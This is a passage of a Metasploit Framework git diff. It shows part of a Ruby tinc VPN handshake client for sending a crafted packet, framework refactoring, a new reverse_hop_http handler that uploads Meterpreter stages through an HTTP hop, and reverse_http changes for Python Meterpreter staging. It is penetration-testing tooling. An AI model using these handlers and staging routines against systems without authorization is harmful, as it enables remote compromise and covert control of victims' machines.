+ + @server_key_len = nil + @client_key_len = nil + @client_private_key_cipher = nil + @hex_enc_key_s1 = nil + @bf_enc_cipher = nil + init_ciphers(datastore['SERVER_PUBLIC_KEY_FILE'], datastore['CLIENT_PRIVATE_KEY_FILE']) + vprint_status('Ciphers locally initalized, private key and public key files seem to be ok') + @bf_dec_cipher = nil + end + + # + # The main method that will be called that will call other methods to send first message + # and continously read from socket and ensures TCP disconnect at the end + # + def send_recv(packet_payload) + @packet_payload = packet_payload + @keep_reading_socket = true + connect + begin + # send the first message + id + # Condition to get out of the while loop: ack_state to false. Unsafe? Maybe a timeout? + while @keep_reading_socket + process_data(sock.get_once) + end + rescue Errno::ECONNRESET + if @state == :metakey_state + fail 'Server reset the connection. Probably rejecting ' + + 'the private key and/or client name (e.g. client name not associated ' + + 'with client public key on server side). ' + + 'Wrong server public key possible too. ' + + 'Please recheck client name, client private key and ' + + 'server public key.' + else + fail 'Server reset the connection, reason unknown.' + end + ensure + disconnect + end + end + + # + # Reading of certificate files and parsing them, generation of random keys + # and intialization of OFB mode blowfish cipher + # + def init_ciphers(server_file, client_file) + server_public_key_cipher = OpenSSL::PKey::RSA.new(File.read(server_file)) + @server_key_len = server_public_key_cipher.n.num_bytes + @client_private_key_cipher = OpenSSL::PKey::RSA.new(File.read(client_file)) + @client_key_len = @client_private_key_cipher.n.num_bytes + vprint_status("Our private key length is #{@client_key_len}, expecting same length for metakey and challenge") + vprint_status("Server's public key length is #{@server_key_len}, sending same metakey and challenge length") + + # we don't want this to happen here: + # `public_encrypt': data too large for modulus (OpenSSL::PKey::RSAError) + # simple solution: choose the key_s1 with a leading zero byte + key_s1 = "\x00"+SecureRandom.random_bytes(@server_key_len-1) + enc_key_s1 = server_public_key_cipher.public_encrypt(key_s1, OpenSSL::PKey::RSA::NO_PADDING) + + @hex_enc_key_s1 = enc_key_s1.unpack('H*')[0] + + offset_key = @server_key_len - BF_KEY_LEN + offset_iv = @server_key_len - BF_KEY_LEN - BF_IV_LEN + bf_enc_key = key_s1[offset_key...@server_key_len] + bf_enc_iv = key_s1[offset_iv...offset_key] + + @bf_enc_cipher = OpenSSL::Cipher::Cipher.new('BF-OFB') + @bf_enc_cipher.encrypt + @bf_enc_cipher.key = bf_enc_key + @bf_enc_cipher.iv = bf_enc_iv + + # #Looks like ruby openssl supports other lengths than multiple of 8! + # test = @bf_enc_cipher.update('A'*10) + # test << @bf_enc_cipher.final + # puts "Testing cipher: "+test.unpack('H*')[0] + end + + # + # Depending on the state of the protocol handshake and the data we get back + # from the server, this method will decide which message has to be sent next + # + def process_data(data) + @inbuffer += data if data + case @state + when :id_state + if line? + data = read_line + vprint_status("Received ID from server: [#{data[0..30]}]") + @state = :metakey_state + # next expected state + metakey + end + when :metakey_state + if line? + data = read_line + vprint_status("Received Metakey from server: [#{data[0..30]}...]") + data = data.split(' ') + fail 'Error in protocol. The first byte should be an ASCII 1.' unless data.first == '1' + hexkey_s2 = data[5].rstrip # ("\n") + fail "Error in protocol. metakey length should be #{@client_key_len}." unless hexkey_s2.length == @client_key_len * 2 + @enckey_s2 = [hexkey_s2].pack('H*') + key_s2 = @client_private_key_cipher.private_decrypt(@enckey_s2, OpenSSL::PKey::RSA::NO_PADDING) + + # metakey setup according to protocol_auth.c + # if(!EVP_DecryptInit(c->inctx, c->incipher, + # (unsigned char *)c->inkey + len - c->incipher->key_len, # <--- KEY pointer + # (unsigned char *)c->inkey + len - c->incipher->key_len - c->incipher->iv_len # <--- IV pointer + # )) + offset_key = @client_key_len - BF_KEY_LEN + offset_iv = @client_key_len - BF_KEY_LEN - BF_IV_LEN + bf_dec_key = key_s2[offset_key...@client_key_len] + bf_dec_iv = key_s2[offset_iv...offset_key] + + @bf_dec_cipher = OpenSSL::Cipher::Cipher.new 'BF-OFB' + @bf_dec_cipher.encrypt + @bf_dec_cipher.key = bf_dec_key + @bf_dec_cipher.iv = bf_dec_iv + # don't forget, it *does* matter if you do a + # @bf_dec_cipher.reset or not, we're in OFB mode. DON'T. + vprint_status('Metakey handshake/exchange completed') + @state = :challenge_state + challenge + end + when :challenge_state + need_len = 2 * @client_key_len + 3 + if @inbuffer.length >= need_len + data = pop_inbuffer_and_decrypt(need_len) + vprint_status("Received challenge from server: " + + "[#{data.unpack('H*')[0][0..30]}...]") + data = data.split(' ', 2) + fail 'Error in protocol. The first byte should be an ASCII 2. Got #{data[0]}.' unless data.first == '2' + challenge2 = data[1][0...2 * @client_key_len] + challenge2 = [challenge2].pack('H*') + fail "Error in protocol. challenge2 length should be #{@client_key_len}." unless challenge2.length == @client_key_len + @state = :challenge_reply_state + challenge_reply(challenge2) + end + when :challenge_reply_state + need_len = 43 + if @inbuffer.length >= need_len + data = pop_inbuffer_and_decrypt(need_len) + vprint_status("Received challenge reply from server:" + + " [#{data.unpack('H*')[0][0..30]}...]") + @state = :ack_state + ack + end + when :ack_state + need_len = 12 + if @inbuffer.length >= need_len + data = pop_inbuffer_and_decrypt(need_len) + vprint_status("Received ack (server accepted challenge response):" + + "[#{data.unpack('H*')[0][0..30]}...]") + @state = :done_state + send_packet + end + end + end + + # + # Encryption queue where waiting data gets encrypted and afterwards + # the remaining messages get sent + # + def handle_write + # handle encryption queue first + unless @encryption_queue.empty? + msg = @encryption_queue[0] + @encryption_queue.delete_at(0) + @buffer = @bf_enc_cipher.update(msg) + @buffer << @bf_enc_cipher.final + # DON'T DO A @bf_enc_cipher.reset, we're in OFB mode and + # the resulting block is used to encrypt the next block. + end + + unless @buffer.empty? + sent = send_data(@buffer) + vprint_status("Sent #{sent} bytes: " + + "[#{@buffer.unpack('H*')[0][0..30]}...]") + @buffer = @buffer[sent..@buffer.length] + end + end + + # + # Simple socket put/write + # + def send_data(buf) + sock.put(buf) + end + + # + # Decryption method to process data sent by server + # + def pop_inbuffer_and_decrypt(size) + # In ruby openssl OFM works not only on full blocks, but also on + # parts. Therefore no worries like in pycrypto and no + # modified decrypt routine, simply use the cipher as is. + data = @bf_dec_cipher.update(@inbuffer.slice!(0, size)) + data << @bf_dec_cipher.final + # DON'T DO A @bf_enc_cipher.reset, we're in OFB mode and + # the resulting block is used to decrypt the next block. + end + + # + # Read up to the next newline from the data the server sent + # + def read_line + idx = @inbuffer.index("\n") + data = @inbuffer.slice!(0, idx) + @inbuffer.lstrip! + data + end + + # + # Check if we already received a newline, meaning we got an + # entire message for the next protocol step + # + def line? + !!(@inbuffer.match("\n")) + end + + # + # Start message method after TCP handshake + # + def id + msg = "0 #{datastore['CLIENT_NAME']} 17.0\n" + vprint_status("Sending ID (cleartext): [#{msg.gsub("\n", '')}]") + @buffer += msg + handle_write + end + + # + # Sending metakey (transferring a symmetric key that will get encrypted with + # public key before beeing sent to the server) + # + def metakey + msg = "1 94 64 0 0 #{@hex_enc_key_s1}\n" + vprint_status("Sending metakey (cleartext): [#{msg[0..30]}...]") + @buffer += msg + handle_write + end + + # + # Send challenge random bytes + # + def challenge + vprint_status('Sending challenge (ciphertext)') + challenge = SecureRandom.random_bytes(@server_key_len) + msg = "2 #{challenge.unpack('H*')[0]}\n" + @encryption_queue.push(msg) + handle_write + end + + # + # Reply to challenge that was sent by server + # + def challenge_reply(challenge2) + vprint_status('Sending challenge reply (ciphertext)') + h = Digest::SHA1.hexdigest(challenge2) + msg = "3 #{h.upcase}\n" + @encryption_queue.push(msg) + handle_write + end + + # + # Ack state to signalise challenge/response was successfull + # + def ack + vprint_status('Sending ack (signalise server that we accept challenge' + + 'reply, ciphertext)') + @encryption_queue.push("4 #{datastore['RPORT']} 123 0 \n") + handle_write + end + + # + # Sending a packet inside the VPN connection after successfull protocol setup + # + def send_packet + vprint_status('Protocol finished setup. Going to send packet.') + msg = "17 #{@packet_payload.length}\n#{@packet_payload}" + plen = BF_BLOCKSIZE - (msg.length % BF_BLOCKSIZE) + # padding + msg += 'B' * plen + @encryption_queue.push(msg) + @keep_reading_socket = false + handle_write + end +end +end diff --git a/lib/msf/core/exploit_driver.rb b/lib/msf/core/exploit_driver.rb index 2ed900a482..be273d10df 100644 --- a/lib/msf/core/exploit_driver.rb +++ b/lib/msf/core/exploit_driver.rb @@ -224,7 +224,7 @@ protected # Record the detailed reason exploit.fail_detail ||= e.to_s - case e.class + case e when Msf::Exploit::Complete # Nothing to show in this case return diff --git a/lib/msf/core/framework.rb b/lib/msf/core/framework.rb index c0e3aa872c..9bc518651c 100644 --- a/lib/msf/core/framework.rb +++ b/lib/msf/core/framework.rb @@ -1,4 +1,16 @@ # -*- coding: binary -*- + +# +# Standard Library +# + +require 'monitor' + +# +# Project +# + +require 'metasploit/framework/version' require 'msf/core' require 'msf/util' @@ -11,15 +23,16 @@ module Msf # ### class Framework + include MonitorMixin # # Versioning information # - Major = 4 - Minor = 9 - Point = 0 - Release = "-dev" + Major = Metasploit::Framework::Version::MAJOR + Minor = Metasploit::Framework::Version::MINOR + Point = Metasploit::Framework::Version::PATCH + Release = "-#{Metasploit::Framework::Version::PRERELEASE}" if(Point) Version = "#{Major}.#{Minor}.#{Point}#{Release}" @@ -41,14 +54,6 @@ class Framework # EICAR canary EICARCorrupted = ::Msf::Util::EXE.is_eicar_corrupted? - # API Version - APIMajor = 1 - APIMinor = 0 - - # Base/API Version - VersionCore = Major + (Minor / 10.0) - VersionAPI = APIMajor + (APIMinor / 10.0) - # # Mixin meant to be included into all classes that can have instances that # should be tied to the framework, such as modules. @@ -73,22 +78,22 @@ class Framework # # Creates an instance of the framework context. # - def initialize(opts={}) + def initialize(options={}) + self.options = options + # call super to initialize MonitorMixin. #synchronize won't work without this. + super() # Allow specific module types to be loaded - types = opts[:module_types] || MODULE_TYPES + types = options[:module_types] || Msf::MODULE_TYPES - self.threads = ThreadManager.new(self) self.events = EventDispatcher.new(self) self.modules = ModuleManager.new(self,types) - self.sessions = SessionManager.new(self) self.datastore = DataStore.new self.jobs = Rex::JobContainer.new self.plugins = PluginManager.new(self) - self.db = DBManager.new(self, opts) # Configure the thread factory - Rex::ThreadFactory.provider = self.threads + Rex::ThreadFactory.provider = Metasploit::Framework::ThreadFactoryProvider.new(framework: self) subscriber = FrameworkEventSubscriber.new(self) events.add_exploit_subscriber(subscriber) @@ -162,11 +167,6 @@ class Framework # attr_reader :modules # - # Session manager that tracks sessions associated with this framework - # instance over the course of their lifetime. - # - attr_reader :sessions - # # The global framework datastore that can be used by modules. # attr_reader :datastore @@ -187,28 +187,62 @@ class Framework # unloading of plugins. # attr_reader :plugins - # + # The framework instance's db manager. The db manager # maintains the database db and handles db events # - attr_reader :db + # @return [Msf::DBManager] + def db + synchronize { + @db ||= Msf::DBManager.new(self, options) + } + end + + # Session manager that tracks sessions associated with this framework + # instance over the course of their lifetime. # + # @return [Msf::SessionManager] + def sessions + synchronize { + @sessions ||= Msf::SessionManager.new(self) + } + end + # The framework instance's thread manager. The thread manager # provides a cleaner way to manage spawned threads # - attr_reader :threads + # @return [Msf::ThreadManager] + def threads + synchronize { + @threads ||= Msf::ThreadManager.new(self) + } + end + + # Whether {#threads} has been initialized + # + # @return [true] if {#threads} has been initialized + # @return [false] otherwise + def threads? + synchronize { + instance_variable_defined? :@threads + } + end protected + # @!attribute options + # Options passed to {#initialize} + # + # @return [Hash] + attr_accessor :options + attr_writer :events # :nodoc: attr_writer :modules # :nodoc: - attr_writer :sessions # :nodoc: attr_writer :datastore # :nodoc: attr_writer :auxmgr # :nodoc: attr_writer :jobs # :nodoc: attr_writer :plugins # :nodoc: attr_writer :db # :nodoc: - attr_writer :threads # :nodoc: end class FrameworkEventSubscriber diff --git a/lib/msf/core/handler/bind_tcp.rb b/lib/msf/core/handler/bind_tcp.rb index 8a16d608d6..2c6504ce93 100644 --- a/lib/msf/core/handler/bind_tcp.rb +++ b/lib/msf/core/handler/bind_tcp.rb @@ -146,7 +146,7 @@ module BindTcp # to implement the Stream interface. conn_threads << framework.threads.spawn("BindTcpHandlerSession", false, client) { |client_copy| begin - handle_connection(wrap_aes_socket(client_copy)) + handle_connection(wrap_aes_socket(client_copy), { datastore: datastore }) rescue elog("Exception raised from BindTcp.handle_connection: #{$!}") end diff --git a/lib/msf/core/handler/find_port.rb b/lib/msf/core/handler/find_port.rb index 09b32c1250..f0a0d2d2e6 100644 --- a/lib/msf/core/handler/find_port.rb +++ b/lib/msf/core/handler/find_port.rb @@ -55,7 +55,7 @@ module FindPort # If this is a multi-stage payload, then we just need to blindly # transmit the stage and create the session, hoping that it works. if (self.payload_type != Msf::Payload::Type::Single) - handle_connection(sock) + handle_connection(sock, { datastore: datastore }) # Otherwise, check to see if we found a session. We really need # to improve this, as we could create a session when the exploit # really didn't succeed. diff --git a/lib/msf/core/handler/reverse_hop_http.rb b/lib/msf/core/handler/reverse_hop_http.rb new file mode 100644 index 0000000000..6f4f635239 --- /dev/null +++ b/lib/msf/core/handler/reverse_hop_http.rb @@ -0,0 +1,285 @@ +# -*- coding: binary -*- +require 'rex/io/stream_abstraction' +require 'rex/sync/ref' +require 'msf/core/handler/reverse_http' +require 'uri' + +module Msf +module Handler + +### +# +# This handler implements the HTTP hop tunneling interface. +# It acts like an HTTP server to the meterpreter packet dispatcher but +# as an HTTP client to actually send and receive the data from the hop. +# +### +module ReverseHopHttp + + include Msf::Handler::ReverseHttp + + # + # Magic bytes to know we are talking to a valid hop + # + MAGIC = 'TzGq' + + # hop_handlers is a class-level instance variable + class << self; attr_accessor :hop_handlers end + attr_accessor :monitor_thread # :nodoc: + attr_accessor :handlers # :nodoc: + attr_accessor :closed_handlers # :nodoc: + attr_accessor :mclient # :nodoc: + attr_accessor :current_url # :nodoc: + attr_accessor :control # :nodoc: + attr_accessor :refs # :nodoc: + attr_accessor :lock # :nodoc: + + # + # Keeps track of what hops have active handlers + # + @hop_handlers = {} + + # + # Returns the string representation of the handler type + # + def self.handler_type + return "reverse_hop_http" + end + + # + # Returns the connection-described general handler type, in this case + # 'tunnel'. + # + def self.general_handler_type + "tunnel" + end + + # + # Sets up a handler. Doesn't do much since it's all in start_handler. + # + def setup_handler + self.handlers = {} + self.closed_handlers = {} + self.lock = Mutex.new + end + + # + # Starts the handler along with a monitoring thread to handle data transfer + # + def start_handler + # Our HTTP client and URL for talking to the hop + uri = URI(full_uri) + self.control = "#{uri.request_uri}control" + self.mclient = Rex::Proto::Http::Client.new( + uri.host, + uri.port, + { + 'Msf' => framework + } + ) + @running = true # So we know we can stop it + # If someone is already monitoring this hop, bump the refcount instead of starting a new thread + if ReverseHopHttp.hop_handlers.has_key?(full_uri) + ReverseHopHttp.hop_handlers[full_uri].refs += 1 + return + end + + # Sometimes you just have to do everything yourself. + # Declare ownership of this hop and spawn a thread to monitor it. + self.refs = 1 + ReverseHopHttp.hop_handlers[full_uri] = self + self.monitor_thread = Rex::ThreadFactory.spawn('ReverseHopHTTP', false, uri, + self) do |uri, hop_http| + hop_http.send_new_stage # send stage to hop + delay = 1 # poll delay + # Continue to loop as long as at least one handler or one session is depending on us + until hop_http.refs < 1 && hop_http.handlers.empty? + sleep delay + delay = delay + 1 if delay < 10 # slow down if we're not getting anything + crequest = hop_http.mclient.request_raw({'method' => 'GET', 'uri' => control}) + res = hop_http.mclient.send_recv(crequest) # send poll to the hop + next if res.nil? + if res.error + print_error(res.error) + next + end + + # validate responses, handle each message down + received = res.body + until received.length < 12 || received.slice!(0, MAGIC.length) != MAGIC + + # good response + delay = 0 # we're talking, speed up + urlen = received.slice!(0,4).unpack('V')[0] + urlpath = received.slice!(0,urlen) + datalen = received.slice!(0,4).unpack('V')[0] + + # do not want handlers to change while we dispatch this + hop_http.lock.lock + #received now starts with the binary contents of the message + if hop_http.handlers.include? urlpath + pack = Rex::Proto::Http::Packet.new + pack.body = received.slice!(0,datalen) + hop_http.current_url = urlpath + hop_http.handlers[urlpath].call(hop_http, pack) + hop_http.lock.unlock + elsif !closed_handlers.include? urlpath + hop_http.lock.unlock + #New session! + conn_id = urlpath.gsub("/","") + # Short-circuit the payload's handle_connection processing for create_session + # We are the dispatcher since we need to handle the comms to the hop + create_session(hop_http, { + :passive_dispatcher => self, + :conn_id => conn_id, + :url => uri.to_s + conn_id + "/\x00", + :expiration => datastore['SessionExpirationTimeout'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :ssl => false, + }) + # send new stage to hop so next inbound session will get a unique ID. + hop_http.send_new_stage + else + hop_http.lock.unlock + end + end + end + hop_http.monitor_thread = nil #make sure we're out + ReverseHopHttp.hop_handlers.delete(full_uri) + end + end + + # + # Stops the handler and monitoring thread + # + def stop_handler + # stop_handler is called like 3 times, don't decrement refcount unless we're still running + if @running + ReverseHopHttp.hop_handlers[full_uri].refs -= 1 + @running = false + end + end + + # + # Adds a resource. (handler for a session) + # + def add_resource(res, opts={}) + self.handlers[res] = opts['Proc'] + start_handler if monitor_thread.nil? + end + + # + # Removes a resource. + # + def remove_resource(res) + lock.lock + handlers.delete(res) + closed_handlers[res] = true + lock.unlock + end + + # + # Implemented for compatibility reasons, does nothing + # + def close_client(cli) + end + + # + # Sends data to hop + # + def send_response(resp) + if not resp.body.empty? + crequest = mclient.request_raw( + 'method' => 'POST', + 'uri' => control, + 'data' => resp.body, + 'headers' => {'X-urlfrag' => current_url} + ) + # if receiving POST data, hop does not send back data, so we can stop here + mclient.send_recv(crequest) + end + end + + # + # Return the URI of the hop point. + # + def full_uri + uri = datastore['HOPURL'] + return uri if uri.end_with?('/') + return "#{uri}/" if uri.end_with?('?') + "#{uri}?/" + end + + # + # Returns a string representation of the local hop + # + def localinfo + "Hop client" + end + + # + # Returns the URL of the remote hop end + # + def peerinfo + uri = URI(full_uri) + "#{uri.host}:#{uri.port}" + end + + # + # Initializes the Hop HTTP tunneling handler. + # + def initialize(info = {}) + super + + register_options( + [ + OptString.new('HOPURL', [ true, "The full URL of the hop script, e.g. http://a.b/hop.php" ]) + ], Msf::Handler::ReverseHopHttp) + + end + + # + # Generates and sends a stage up to the hop point to be ready for the next client + # + def send_new_stage + conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16) + url = full_uri + conn_id + "/\x00" + + print_status("Preparing stage for next session #{conn_id}") + blob = stage_payload + # + # Patch options into the payload + # + Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob, + :ssl => ssl?, + :url => url, + :expiration => datastore['SessionExpirationTimeout'], + :comm_timeout => datastore['SessionCommunicationTimeout'], + :ua => datastore['MeterpreterUserAgent'], + :proxyhost => datastore['PROXYHOST'], + :proxyport => datastore['PROXYPORT'], + :proxy_type => datastore['PROXY_TYPE'], + :proxy_username => datastore['PROXY_USERNAME'], + :proxy_password => datastore['PROXY_PASSWORD'] + + blob = encode_stage(blob) + + #send up + crequest = mclient.request_raw( + 'method' => 'POST', + 'uri' => control, + 'data' => blob, + 'headers' => {'X-init' => 'true'} + ) + res = mclient.send_recv(crequest) + print_status("Uploaded stage to hop #{full_uri}") + print_error(res.error) if !res.nil? && res.error + + #return conn info + [conn_id, url] + end + +end + +end +end diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 5c26a0c4bd..b8a159c6e3 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -2,6 +2,7 @@ require 'rex/io/stream_abstraction' require 'rex/sync/ref' require 'msf/core/handler/reverse_http/uri_checksum' +require 'rex/payloads/meterpreter/patch' module Msf module Handler @@ -31,27 +32,6 @@ module ReverseHttp "tunnel" end - # - # Use the +refname+ to determine whether this handler uses SSL or not - # - def ssl? - !!(self.refname.index("https")) - end - - # - # Return a URI of the form scheme://host:port/ - # - # Scheme is one of http or https and host is properly wrapped in [] for ipv6 - # addresses. - # - def full_uri - local_port = bind_port - scheme = (ssl?) ? "https" : "http" - "#{scheme}://#{datastore['LHOST']}:#{datastore['LPORT']}/" - end - - - # # Initializes the HTTP SSL tunneling handler. # @@ -77,14 +57,64 @@ module ReverseHttp ], Msf::Handler::ReverseHttp) end - # # Toggle for IPv4 vs IPv6 mode # - def ipv6 - self.refname.index('ipv6') ? true : false + def ipv6? + Rex::Socket.is_ipv6?(datastore['LHOST']) end + # Determine where to bind the server # + # @return [String] + def listener_address + if datastore['ReverseListenerBindAddress'].to_s.empty? + bindaddr = (ipv6?) ? '::' : '0.0.0.0' + else + bindaddr = datastore['ReverseListenerBindAddress'] + end + + bindaddr + end + + # @return [String] A URI of the form +scheme://host:port/+ + def listener_uri + if ipv6? + listen_host = "[#{listener_address}]" + else + listen_host = listener_address + end + "#{scheme}://#{listen_host}:#{datastore['LPORT']}/" + end + + # Return a URI suitable for placing in a payload. + # + # Host will be properly wrapped in square brackets, +[]+, for ipv6 + # addresses. + # + # @return [String] A URI of the form +scheme://host:port/+ + def payload_uri + if ipv6? + callback_host = "[#{datastore['LHOST']}]" + else + callback_host = datastore['LHOST'] + end + "#{scheme}://#{callback_host}:#{datastore['LPORT']}/" + end + + # Use the {#refname} to determine whether this handler uses SSL or not + # + def ssl? + !!(self.refname.index("https")) + end + + # URI scheme + # + # @return [String] One of "http" or "https" depending on whether we + # are using SSL + def scheme + (ssl?) ? "https" : "http" + end + # Create an HTTP listener # def setup_handler @@ -98,24 +128,18 @@ module ReverseHttp local_port = bind_port - # Determine where to bind the HTTP(S) server to - bindaddrs = ipv6 ? '::' : '0.0.0.0' - - if not datastore['ReverseListenerBindAddress'].to_s.empty? - bindaddrs = datastore['ReverseListenerBindAddress'] - end # Start the HTTPS server service on this host/port self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server, local_port, - bindaddrs, + listener_address, ssl?, { 'Msf' => framework, 'MsfExploit' => self, }, comm, - (ssl?) ? datastore["SSLCert"] : nil + (ssl?) ? datastore["HandlerSSLCert"] : nil ) self.service.server_name = datastore['MeterpreterServerName'] @@ -130,9 +154,7 @@ module ReverseHttp }, 'VirtualDirectory' => true) - scheme = (ssl?) ? "https" : "http" - bind_url = "#{scheme}://#{bindaddrs}:#{local_port}/" - print_status("Started #{scheme.upcase} reverse handler on #{bind_url}") + print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}") end # @@ -165,7 +187,6 @@ protected # Parses the HTTPS request # def on_request(cli, req, obj) - sid = nil resp = Rex::Proto::Http::Response.new print_status("#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}...") @@ -174,14 +195,48 @@ protected # Process the requested resource. case uri_match - when /^\/INITJM/ + when /^\/INITPY/ conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16) - url = full_uri + conn_id + "/\x00" + url = payload_uri + conn_id + '/' blob = "" blob << obj.generate_stage - # This is a TLV packet - I guess somewhere there should be API for building them + var_escape = lambda { |txt| + txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\')) + } + + # Patch all the things + blob.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(url)}'") + blob.sub!('HTTP_EXPIRATION_TIMEOUT = 604800', "HTTP_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}") + blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}") + blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'") + + unless datastore['PROXYHOST'].blank? + proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}" + blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'") + end + + resp.body = blob + + # Short-circuit the payload's handle_connection processing for create_session + create_session(cli, { + :passive_dispatcher => obj.service, + :conn_id => conn_id, + :url => url, + :expiration => datastore['SessionExpirationTimeout'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :ssl => ssl?, + }) + + when /^\/INITJM/ + conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16) + url = payload_uri + conn_id + "/\x00" + + blob = "" + blob << obj.generate_stage + + # This is a TLV packet - I guess somewhere there should be an API for building them # in Metasploit :-) packet = "" packet << ["core_switch_url\x00".length + 8, 0x10001].pack('NN') + "core_switch_url\x00" @@ -203,87 +258,28 @@ protected }) when /^\/A?INITM?/ - - url = '' + conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16) + url = payload_uri + conn_id + "/\x00" print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...") resp['Content-Type'] = 'application/octet-stream' blob = obj.stage_payload - # Replace the user agent string with our option - i = blob.index("METERPRETER_UA\x00") - if i - str = datastore['MeterpreterUserAgent'][0,255] + "\x00" - blob[i, str.length] = str - print_status("Patched user-agent at offset #{i}...") - end - - # Activate a custom proxy - i = blob.index("METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") - if i - if datastore['PROXYHOST'] - if datastore['PROXYHOST'].to_s != "" - proxyhost = datastore['PROXYHOST'].to_s - proxyport = datastore['PROXYPORT'].to_s || "8080" - proxyinfo = proxyhost + ":" + proxyport - if proxyport == "80" - proxyinfo = proxyhost - end - if datastore['PROXY_TYPE'].to_s == 'HTTP' - proxyinfo = 'http://' + proxyinfo - else #socks - proxyinfo = 'socks=' + proxyinfo - end - proxyinfo << "\x00" - blob[i, proxyinfo.length] = proxyinfo - print_status("Activated custom proxy #{proxyinfo}, patch at offset #{i}...") - #Optional authentification - unless (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or - (datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or - datastore['PROXY_TYPE'] == 'SOCKS' - - proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") - proxy_username = datastore['PROXY_USERNAME'] << "\x00" - blob[proxy_username_loc, proxy_username.length] = proxy_username - - proxy_password_loc = blob.index("METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") - proxy_password = datastore['PROXY_PASSWORD'] << "\x00" - blob[proxy_password_loc, proxy_password.length] = proxy_password - end - end - end - end - - # Replace the transport string first (TRANSPORT_SOCKET_SSL) - i = blob.index("METERPRETER_TRANSPORT_SSL") - if i - str = "METERPRETER_TRANSPORT_HTTP#{ssl? ? "S" : ""}\x00" - blob[i, str.length] = str - end - print_status("Patched transport at offset #{i}...") - - conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16) - i = blob.index("https://" + ("X" * 256)) - if i - url = full_uri + conn_id + "/\x00" - blob[i, url.length] = url - end - print_status("Patched URL at offset #{i}...") - - i = blob.index([0xb64be661].pack("V")) - if i - str = [ datastore['SessionExpirationTimeout'] ].pack("V") - blob[i, str.length] = str - end - print_status("Patched Expiration Timeout at offset #{i}...") - - i = blob.index([0xaf79257f].pack("V")) - if i - str = [ datastore['SessionCommunicationTimeout'] ].pack("V") - blob[i, str.length] = str - end - print_status("Patched Communication Timeout at offset #{i}...") + # + # Patch options into the payload + # + Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob, + :ssl => ssl?, + :url => url, + :expiration => datastore['SessionExpirationTimeout'], + :comm_timeout => datastore['SessionCommunicationTimeout'], + :ua => datastore['MeterpreterUserAgent'], + :proxyhost => datastore['PROXYHOST'], + :proxyport => datastore['PROXYPORT'], + :proxy_type => datastore['PROXY_TYPE'], + :proxy_username => datastore['PROXY_USERNAME'], + :proxy_password => datastore['PROXY_PASSWORD'] resp.body = encode_stage(blob) @@ -308,7 +304,7 @@ protected create_session(cli, { :passive_dispatcher => obj.service, :conn_id => conn_id, - :url => full_uri + conn_id + "/\x00", + :url => payload_uri + conn_id + "/\x00", :expiration => datastore['SessionExpirationTimeout'].to_i, :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, :ssl => ssl?, diff --git a/lib/msf/core/handler/reverse_http/uri_checksum.rb b/lib/msf/core/handler/reverse_http/uri_checksum.rb index a55c302c00..96e76baec3 100644 --- a/lib/msf/core/handler/reverse_http/uri_checksum.rb +++ b/lib/msf/core/handler/reverse_http/uri_checksum.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Msf module Handler module ReverseHttp @@ -7,8 +8,9 @@ module Msf # Define 8-bit checksums for matching URLs # These are based on charset frequency # - URI_CHECKSUM_INITW = 92 - URI_CHECKSUM_INITJ = 88 + URI_CHECKSUM_INITW = 92 # Windows + URI_CHECKSUM_INITP = 80 # Python + URI_CHECKSUM_INITJ = 88 # Java URI_CHECKSUM_CONN = 98 # @@ -45,6 +47,7 @@ module Msf # Map "random" URIs to static strings, allowing us to randomize # the URI sent in the first request. + # # @param uri_match [String] The URI string to convert back to the original static value # @return [String] The static URI value derived from the checksum def process_uri_resource(uri_match) @@ -59,6 +62,8 @@ module Msf case uri_check when URI_CHECKSUM_INITW uri_match = "/INITM" + when URI_CHECKSUM_INITP + uri_match = "/INITPY" when URI_CHECKSUM_INITJ uri_match = "/INITJM" when URI_CHECKSUM_CONN @@ -69,6 +74,7 @@ module Msf end # Create a URI that matches a given checksum + # # @param sum [Fixnum] The checksum value you are trying to create a URI for # @return [String] The URI string that checksums to the given value def generate_uri_checksum(sum) diff --git a/lib/msf/core/handler/reverse_https.rb b/lib/msf/core/handler/reverse_https.rb index c2e3390b81..e2cbc8b22a 100644 --- a/lib/msf/core/handler/reverse_https.rb +++ b/lib/msf/core/handler/reverse_https.rb @@ -38,7 +38,12 @@ module ReverseHttps register_options( [ - OptPort.new('LPORT', [ true, "The local listener port", 8443 ]) + OptPort.new('LPORT', 